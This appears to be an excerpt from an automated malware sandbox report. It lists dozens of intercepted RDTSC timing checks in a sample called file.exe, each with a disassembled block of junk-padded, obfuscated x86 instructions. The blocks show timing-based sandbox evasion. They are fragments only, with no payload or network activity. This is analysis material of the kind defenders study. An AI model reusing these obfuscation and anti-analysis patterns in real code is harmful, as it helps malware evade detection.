Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0838 second address: 48E083C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E083C second address: 48D001B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c cmp eax, 00000000h 0x0000000f setne al 0x00000012 xor ebx, ebx 0x00000014 test al, 01h 0x00000016 jne 00007FEDA51D0EB7h 0x00000018 xor eax, eax 0x0000001a sub esp, 08h 0x0000001d mov dword ptr [esp], 00000000h 0x00000024 mov dword ptr [esp+04h], 00000000h 0x0000002c call 00007FEDA8AEA2F3h 0x00000031 mov edi, edi 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushad 0x00000037 popad 0x00000038 jmp 00007FEDA51D0EC3h 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D001B second address: 48D00C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bx, ax 0x0000000e mov si, C4EFh 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007FEDA531E8CBh 0x0000001b add eax, 6B6D367Eh 0x00000021 jmp 00007FEDA531E8D9h 0x00000026 popfd 0x00000027 push ecx 0x00000028 movsx edi, cx 0x0000002b pop ecx 0x0000002c popad 0x0000002d xchg eax, ebp 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007FEDA531E8D5h 0x00000035 or cx, 7B66h 0x0000003a jmp 00007FEDA531E8D1h 0x0000003f popfd 0x00000040 mov ecx, 083CAF97h 0x00000045 popad 0x00000046 mov ebp, esp 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FEDA531E8D9h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D00C8 second address: 48D00F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push FFFFFFFEh 0x0000000b jmp 00007FEDA51D0EBEh 0x00000010 push 1C639C33h 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 movsx edx, cx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D00F8 second address: 48D0118 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov bx, si 0x00000009 popad 0x0000000a xor dword ptr [esp], 69A5027Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FEDA531E8CDh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0118 second address: 48D0128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEDA51D0EBCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0128 second address: 48D0148 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007FEDA531E8C9h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0148 second address: 48D014C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D014C second address: 48D0152 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0152 second address: 48D016E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov di, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEDA51D0EBEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D016E second address: 48D0195 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 jmp 00007FEDA531E8CAh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FEDA531E8CEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0195 second address: 48D019B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D019B second address: 48D01D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007FEDA531E8D8h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FEDA531E8CEh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D01D1 second address: 48D01F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEDA51D0EC5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D01F8 second address: 48D022E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000000h] 0x0000000f pushad 0x00000010 pushad 0x00000011 mov ch, 95h 0x00000013 call 00007FEDA531E8CFh 0x00000018 pop eax 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c mov di, 250Ah 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D022E second address: 48D02F5 instructions: 0x00000000 rdtsc 0x00000002 movsx edx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 nop 0x00000009 jmp 00007FEDA51D0EBAh 0x0000000e push eax 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FEDA51D0EC1h 0x00000016 or cx, A936h 0x0000001b jmp 00007FEDA51D0EC1h 0x00000020 popfd 0x00000021 movzx esi, di 0x00000024 popad 0x00000025 nop 0x00000026 jmp 00007FEDA51D0EC3h 0x0000002b sub esp, 18h 0x0000002e jmp 00007FEDA51D0EC6h 0x00000033 xchg eax, ebx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007FEDA51D0EBEh 0x0000003b sbb ecx, 392361E8h 0x00000041 jmp 00007FEDA51D0EBBh 0x00000046 popfd 0x00000047 pushfd 0x00000048 jmp 00007FEDA51D0EC8h 0x0000004d and eax, 0255F448h 0x00000053 jmp 00007FEDA51D0EBBh 0x00000058 popfd 0x00000059 popad 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e mov ebx, esi 0x00000060 push esi 0x00000061 pop edi 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D02F5 second address: 48D033A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov esi, 28F4A0BBh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007FEDA531E8CEh 0x00000018 jmp 00007FEDA531E8D5h 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D033A second address: 48D038F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, esi 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FEDA51D0EBAh 0x0000000f or cx, CB68h 0x00000014 jmp 00007FEDA51D0EBBh 0x00000019 popfd 0x0000001a push eax 0x0000001b jmp 00007FEDA51D0EBFh 0x00000020 pop ecx 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007FEDA51D0EC6h 0x00000028 xchg eax, esi 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D038F second address: 48D0393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0393 second address: 48D0399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0399 second address: 48D039F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D039F second address: 48D03A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D03A3 second address: 48D0428 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c jmp 00007FEDA531E8D0h 0x00000011 push eax 0x00000012 pushad 0x00000013 mov edi, 4E778F34h 0x00000018 movsx ebx, si 0x0000001b popad 0x0000001c xchg eax, edi 0x0000001d pushad 0x0000001e call 00007FEDA531E8D2h 0x00000023 mov ecx, 5AF46701h 0x00000028 pop esi 0x00000029 mov edi, 29806A32h 0x0000002e popad 0x0000002f mov eax, dword ptr [75C74538h] 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 pushfd 0x00000038 jmp 00007FEDA531E8D5h 0x0000003d sub ax, A306h 0x00000042 jmp 00007FEDA531E8D1h 0x00000047 popfd 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0428 second address: 48D042C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D042C second address: 48D0440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov esi, 40A7BD8Dh 0x0000000b popad 0x0000000c xor dword ptr [ebp-08h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0440 second address: 48D0447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0447 second address: 48D0472 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, ch 0x00000005 jmp 00007FEDA531E8D9h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xor eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ah, 52h 0x00000014 mov cl, dl 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0472 second address: 48D0478 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0478 second address: 48D047C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D047C second address: 48D04A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D04A2 second address: 48D04B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D04B5 second address: 48D0583 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FEDA51D0EC1h 0x0000000f nop 0x00000010 pushad 0x00000011 movzx ecx, dx 0x00000014 push edx 0x00000015 mov dx, cx 0x00000018 pop eax 0x00000019 popad 0x0000001a lea eax, dword ptr [ebp-10h] 0x0000001d jmp 00007FEDA51D0EC7h 0x00000022 mov dword ptr fs:[00000000h], eax 0x00000028 pushad 0x00000029 mov dx, ax 0x0000002c mov edx, ecx 0x0000002e popad 0x0000002f mov dword ptr [ebp-18h], esp 0x00000032 pushad 0x00000033 jmp 00007FEDA51D0EC8h 0x00000038 pushfd 0x00000039 jmp 00007FEDA51D0EC2h 0x0000003e and esi, 248F2578h 0x00000044 jmp 00007FEDA51D0EBBh 0x00000049 popfd 0x0000004a popad 0x0000004b mov eax, dword ptr fs:[00000018h] 0x00000051 pushad 0x00000052 mov di, cx 0x00000055 mov dl, cl 0x00000057 popad 0x00000058 mov ecx, dword ptr [eax+00000FDCh] 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007FEDA51D0EC6h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0583 second address: 48D0589 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0589 second address: 48D05D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test ecx, ecx 0x0000000d jmp 00007FEDA51D0EBEh 0x00000012 jns 00007FEDA51D0EFCh 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushfd 0x0000001c jmp 00007FEDA51D0EBCh 0x00000021 add esi, 34B00498h 0x00000027 jmp 00007FEDA51D0EBBh 0x0000002c popfd 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C03A1 second address: 48C03DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edi 0x00000006 popad 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushad 0x0000000c movsx edi, cx 0x0000000f pushfd 0x00000010 jmp 00007FEDA531E8D2h 0x00000015 add si, B5D8h 0x0000001a jmp 00007FEDA531E8CBh 0x0000001f popfd 0x00000020 popad 0x00000021 popad 0x00000022 sub esp, 2Ch 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C03DF second address: 48C03ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C03ED second address: 48C0448 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEDA531E8D1h 0x00000008 pushfd 0x00000009 jmp 00007FEDA531E8D0h 0x0000000e sub eax, 26D3FA98h 0x00000014 jmp 00007FEDA531E8CBh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebx 0x0000001e jmp 00007FEDA531E8D6h 0x00000023 push eax 0x00000024 pushad 0x00000025 mov edi, 07F718A4h 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0448 second address: 48C045A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, dx 0x00000007 popad 0x00000008 popad 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b pushad 0x0000000c mov bx, 3772h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C045A second address: 48C04B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 call 00007FEDA531E8CFh 0x0000000b pop eax 0x0000000c pushfd 0x0000000d jmp 00007FEDA531E8D9h 0x00000012 add ax, C2F6h 0x00000017 jmp 00007FEDA531E8D1h 0x0000001c popfd 0x0000001d popad 0x0000001e popad 0x0000001f xchg eax, edi 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FEDA531E8CDh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C04B3 second address: 48C04CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ecx, edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C04CE second address: 48C04FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEDA531E8CFh 0x0000000b popad 0x0000000c xchg eax, edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEDA531E8D5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C057E second address: 48C0584 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0584 second address: 48C0588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0588 second address: 48C05C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a jmp 00007FEDA51D0EBFh 0x0000000f je 00007FEDA51D1056h 0x00000015 pushad 0x00000016 mov dx, si 0x00000019 popad 0x0000001a lea ecx, dword ptr [ebp-14h] 0x0000001d jmp 00007FEDA51D0EBAh 0x00000022 mov dword ptr [ebp-14h], edi 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 mov ecx, 17F29A93h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C060D second address: 48C0620 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 27h 0x00000005 mov si, 56A7h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0620 second address: 48C0624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0624 second address: 48C062A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C062A second address: 48C063A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEDA51D0EBCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C06B5 second address: 48C06B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C06B9 second address: 48C06C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C06C7 second address: 48C06D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEDA531E8CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C06D9 second address: 48C06DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C06DD second address: 48C07A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007FEE1667C66Dh 0x0000000e jmp 00007FEDA531E8D7h 0x00000013 js 00007FEDA531E905h 0x00000019 jmp 00007FEDA531E8D6h 0x0000001e cmp dword ptr [ebp-14h], edi 0x00000021 jmp 00007FEDA531E8D0h 0x00000026 jne 00007FEE1667C630h 0x0000002c jmp 00007FEDA531E8D0h 0x00000031 mov ebx, dword ptr [ebp+08h] 0x00000034 jmp 00007FEDA531E8D0h 0x00000039 lea eax, dword ptr [ebp-2Ch] 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007FEDA531E8CDh 0x00000045 sbb esi, 19147D16h 0x0000004b jmp 00007FEDA531E8D1h 0x00000050 popfd 0x00000051 pushfd 0x00000052 jmp 00007FEDA531E8D0h 0x00000057 adc cx, 3938h 0x0000005c jmp 00007FEDA531E8CBh 0x00000061 popfd 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C07A9 second address: 48C0846 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 jmp 00007FEDA51D0EBBh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f jmp 00007FEDA51D0EC6h 0x00000014 push eax 0x00000015 jmp 00007FEDA51D0EBBh 0x0000001a xchg eax, esi 0x0000001b pushad 0x0000001c movzx ecx, di 0x0000001f call 00007FEDA51D0EC1h 0x00000024 mov dx, cx 0x00000027 pop ecx 0x00000028 popad 0x00000029 push ebp 0x0000002a pushad 0x0000002b push ecx 0x0000002c mov ecx, ebx 0x0000002e pop edx 0x0000002f pushad 0x00000030 mov esi, 759D84B3h 0x00000035 pushad 0x00000036 popad 0x00000037 popad 0x00000038 popad 0x00000039 mov dword ptr [esp], eax 0x0000003c pushad 0x0000003d mov ebx, eax 0x0000003f mov ecx, 0A3E025Dh 0x00000044 popad 0x00000045 xchg eax, ebx 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 mov cx, di 0x0000004c pushfd 0x0000004d jmp 00007FEDA51D0EC1h 0x00000052 and ah, FFFFFFA6h 0x00000055 jmp 00007FEDA51D0EC1h 0x0000005a popfd 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C08D0 second address: 48C08D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C08D5 second address: 48C002A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA51D0EC5h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov esi, eax 0x0000000e jmp 00007FEDA51D0EBEh 0x00000013 test esi, esi 0x00000015 pushad 0x00000016 mov ebx, eax 0x00000018 mov si, 7209h 0x0000001c popad 0x0000001d je 00007FEE1652EC00h 0x00000023 xor eax, eax 0x00000025 jmp 00007FEDA51AA5EAh 0x0000002a pop esi 0x0000002b pop edi 0x0000002c pop ebx 0x0000002d leave 0x0000002e retn 0004h 0x00000031 nop 0x00000032 cmp eax, 00000000h 0x00000035 setne cl 0x00000038 xor ebx, ebx 0x0000003a test cl, 00000001h 0x0000003d jne 00007FEDA51D0EB7h 0x0000003f jmp 00007FEDA51D102Bh 0x00000044 call 00007FEDA8ADA155h 0x00000049 mov edi, edi 0x0000004b jmp 00007FEDA51D0EC1h 0x00000050 xchg eax, ebp 0x00000051 pushad 0x00000052 mov ax, 1B43h 0x00000056 pushad 0x00000057 mov ecx, 027265B5h 0x0000005c push ecx 0x0000005d pop edi 0x0000005e popad 0x0000005f popad 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C002A second address: 48C002E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C002E second address: 48C0032 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0032 second address: 48C0038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0038 second address: 48C00A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FEDA51D0EC6h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov ecx, 1DB425BDh 0x00000017 pushfd 0x00000018 jmp 00007FEDA51D0EBAh 0x0000001d sbb si, 4198h 0x00000022 jmp 00007FEDA51D0EBBh 0x00000027 popfd 0x00000028 popad 0x00000029 xchg eax, ecx 0x0000002a jmp 00007FEDA51D0EC6h 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C00A1 second address: 48C00A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C00A7 second address: 48C00AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C00AD second address: 48C00B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C00FC second address: 48C0117 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0CF3 second address: 48C0CF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
